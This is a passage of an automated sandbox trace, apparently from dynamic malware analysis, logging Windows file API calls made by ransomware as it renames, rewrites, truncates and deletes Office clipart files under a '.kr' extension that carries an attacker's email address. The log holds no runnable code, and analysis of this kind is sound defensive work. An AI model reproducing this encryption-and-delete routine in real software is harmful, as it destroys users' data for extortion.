lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0201.936] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.936] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0201.937] GetLastError () returned 0x0 [0201.937] ReadFile (in: hFile=0x554, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xfcff, lpOverlapped=0x0) returned 1 [0201.940] WriteFile (in: hFile=0x564, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xfd00, lpOverlapped=0x0) returned 1 [0201.942] ReadFile (in: hFile=0x554, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.942] WriteFile (in: hFile=0x564, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0201.942] SetEndOfFile (hFile=0x564) returned 1 [0201.943] CloseHandle (hObject=0x564) returned 1 [0201.943] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.943] SetEndOfFile (hFile=0x554) returned 1 [0201.946] CloseHandle (hObject=0x554) returned 1 [0201.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 1 [0202.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0202.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0202.766] lstrlenW (lpString=".doc") returned 4 [0202.766] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0202.766] lstrlenW (lpString=".docx") returned 5 [0202.766] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0202.766] lstrlenW (lpString=".pdf") returned 4 [0202.766] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0202.766] lstrlenW (lpString=".xls") returned 4 [0202.766] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0202.766] lstrlenW (lpString=".xlsx") returned 5 [0202.766] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0202.766] lstrlenW (lpString=".ppt") returned 4 [0202.766] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0202.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0202.767] lstrlenW (lpString=".zip") returned 4 [0202.767] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0202.767] lstrlenW (lpString=".rar") returned 4 [0202.767] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0202.767] lstrlenW (lpString=".bz2") returned 4 [0202.767] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0202.767] lstrlenW (lpString=".7z") returned 3 [0202.767] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0202.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0202.767] lstrlenW (lpString=".dbf") returned 4 [0202.767] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0202.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0202.767] lstrlenW (lpString=".1cd") returned 4 [0202.767] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0202.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0202.767] lstrlenW (lpString=".jpg") returned 4 [0202.767] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0202.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0202.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0202.767] lstrlenW (lpString=".doc") returned 4 [0202.767] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0202.767] lstrlenW (lpString=".docx") returned 5 [0202.767] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0202.767] lstrlenW (lpString=".pdf") returned 4 [0202.767] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0202.767] lstrlenW (lpString=".xls") returned 4 [0202.768] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0202.768] lstrlenW (lpString=".xlsx") returned 5 [0202.768] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0202.768] lstrlenW (lpString=".ppt") returned 4 [0202.768] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0202.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0202.768] lstrlenW (lpString=".zip") returned 4 [0202.768] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0202.768] lstrlenW (lpString=".rar") returned 4 [0202.768] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0202.768] lstrlenW (lpString=".bz2") returned 4 [0202.768] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0202.768] lstrlenW (lpString=".7z") returned 3 [0202.769] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0202.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0202.769] lstrlenW (lpString=".dbf") returned 4 [0202.769] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0202.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0202.769] lstrlenW (lpString=".1cd") returned 4 [0202.769] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0202.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0202.769] lstrlenW (lpString=".jpg") returned 4 [0202.769] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0202.769] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0202.769] lstrlenW (lpString="J0099173.WMF") returned 12 [0202.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.770] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=37140) returned 1 [0202.770] CloseHandle (hObject=0x558) returned 1 [0202.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 0x220 [0202.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.771] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.771] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.773] GetLastError () returned 0x0 [0202.773] ReadFile (in: hFile=0x558, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x9114, lpOverlapped=0x0) returned 1 [0202.776] WriteFile (in: hFile=0x534, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x9120, lpOverlapped=0x0) returned 1 [0202.778] ReadFile (in: hFile=0x558, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.778] WriteFile (in: hFile=0x534, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0202.778] SetEndOfFile (hFile=0x534) returned 1 [0202.778] CloseHandle (hObject=0x534) returned 1 [0202.779] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.779] SetEndOfFile (hFile=0x558) returned 1 [0202.783] CloseHandle (hObject=0x558) returned 1 [0202.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 1 [0202.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0202.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0202.785] lstrlenW (lpString=".doc") returned 4 [0202.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.785] lstrlenW (lpString=".docx") returned 5 [0202.785] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0202.785] lstrlenW (lpString=".pdf") returned 4 [0202.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.785] lstrlenW (lpString=".xls") returned 4 [0202.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.785] lstrlenW (lpString=".xlsx") returned 5 [0202.785] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0202.785] lstrlenW (lpString=".ppt") returned 4 [0202.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0202.785] lstrlenW (lpString=".zip") returned 4 [0202.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.785] lstrlenW (lpString=".rar") returned 4 [0202.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.785] lstrlenW (lpString=".bz2") returned 4 [0202.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.785] lstrlenW (lpString=".7z") returned 3 [0202.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0202.785] lstrlenW (lpString=".dbf") returned 4 [0202.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0202.786] lstrlenW (lpString=".1cd") returned 4 [0202.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0202.786] lstrlenW (lpString=".jpg") returned 4 [0202.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0202.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0202.786] lstrlenW (lpString=".doc") returned 4 [0202.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.786] lstrlenW (lpString=".docx") returned 5 [0202.786] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0202.786] lstrlenW (lpString=".pdf") returned 4 [0202.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.786] lstrlenW (lpString=".xls") returned 4 [0202.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.786] lstrlenW (lpString=".xlsx") returned 5 [0202.786] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0202.786] lstrlenW (lpString=".ppt") returned 4 [0202.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0202.786] lstrlenW (lpString=".zip") returned 4 [0202.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.786] lstrlenW (lpString=".rar") returned 4 [0202.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.787] lstrlenW (lpString=".bz2") returned 4 [0202.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.787] lstrlenW (lpString=".7z") returned 3 [0202.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0202.787] lstrlenW (lpString=".dbf") returned 4 [0202.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0202.787] lstrlenW (lpString=".1cd") returned 4 [0202.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0202.787] lstrlenW (lpString=".jpg") returned 4 [0202.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.787] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0202.787] lstrlenW (lpString="J0099174.WMF") returned 12 [0202.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.788] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=6214) returned 1 [0202.788] CloseHandle (hObject=0x558) returned 1 [0202.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 0x220 [0202.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.789] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.789] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.790] GetLastError () returned 0x0 [0202.790] ReadFile (in: hFile=0x558, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1846, lpOverlapped=0x0) returned 1 [0202.792] WriteFile (in: hFile=0x534, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1850, lpOverlapped=0x0) returned 1 [0202.793] ReadFile (in: hFile=0x558, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.793] WriteFile (in: hFile=0x534, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0202.793] SetEndOfFile (hFile=0x534) returned 1 [0202.793] CloseHandle (hObject=0x534) returned 1 [0202.794] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.794] SetEndOfFile (hFile=0x558) returned 1 [0202.797] CloseHandle (hObject=0x558) returned 1 [0202.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 1 [0202.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0202.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0202.798] lstrlenW (lpString=".doc") returned 4 [0202.798] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.798] lstrlenW (lpString=".docx") returned 5 [0202.798] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0202.798] lstrlenW (lpString=".pdf") returned 4 [0202.798] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.798] lstrlenW (lpString=".xls") returned 4 [0202.799] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.799] lstrlenW (lpString=".xlsx") returned 5 [0202.799] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0202.799] lstrlenW (lpString=".ppt") returned 4 [0202.799] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0202.799] lstrlenW (lpString=".zip") returned 4 [0202.799] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.799] lstrlenW (lpString=".rar") returned 4 [0202.799] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.799] lstrlenW (lpString=".bz2") returned 4 [0202.799] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.799] lstrlenW (lpString=".7z") returned 3 [0202.799] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0202.799] lstrlenW (lpString=".dbf") returned 4 [0202.799] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0203.153] lstrlenW (lpString=".1cd") returned 4 [0203.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0203.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0203.153] lstrlenW (lpString=".jpg") returned 4 [0203.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0203.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0203.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0203.153] lstrlenW (lpString=".doc") returned 4 [0203.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0203.154] lstrlenW (lpString=".docx") returned 5 [0203.154] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0203.154] lstrlenW (lpString=".pdf") returned 4 [0203.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0203.154] lstrlenW (lpString=".xls") returned 4 [0203.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0203.154] lstrlenW (lpString=".xlsx") returned 5 [0203.154] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0203.154] lstrlenW (lpString=".ppt") returned 4 [0203.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0203.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0203.154] lstrlenW (lpString=".zip") returned 4 [0203.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0203.154] lstrlenW (lpString=".rar") returned 4 [0203.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0203.154] lstrlenW (lpString=".bz2") returned 4 [0203.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0203.154] lstrlenW (lpString=".7z") returned 3 [0203.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0203.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0203.154] lstrlenW (lpString=".dbf") returned 4 [0203.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0203.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0203.154] lstrlenW (lpString=".1cd") returned 4 [0203.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0203.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0203.154] lstrlenW (lpString=".jpg") returned 4 [0203.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0203.154] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0203.155] lstrlenW (lpString="J0099184.WMF") returned 12 [0203.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0203.155] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=4118) returned 1 [0203.155] CloseHandle (hObject=0x570) returned 1 [0203.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220 [0203.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0203.156] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.156] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft 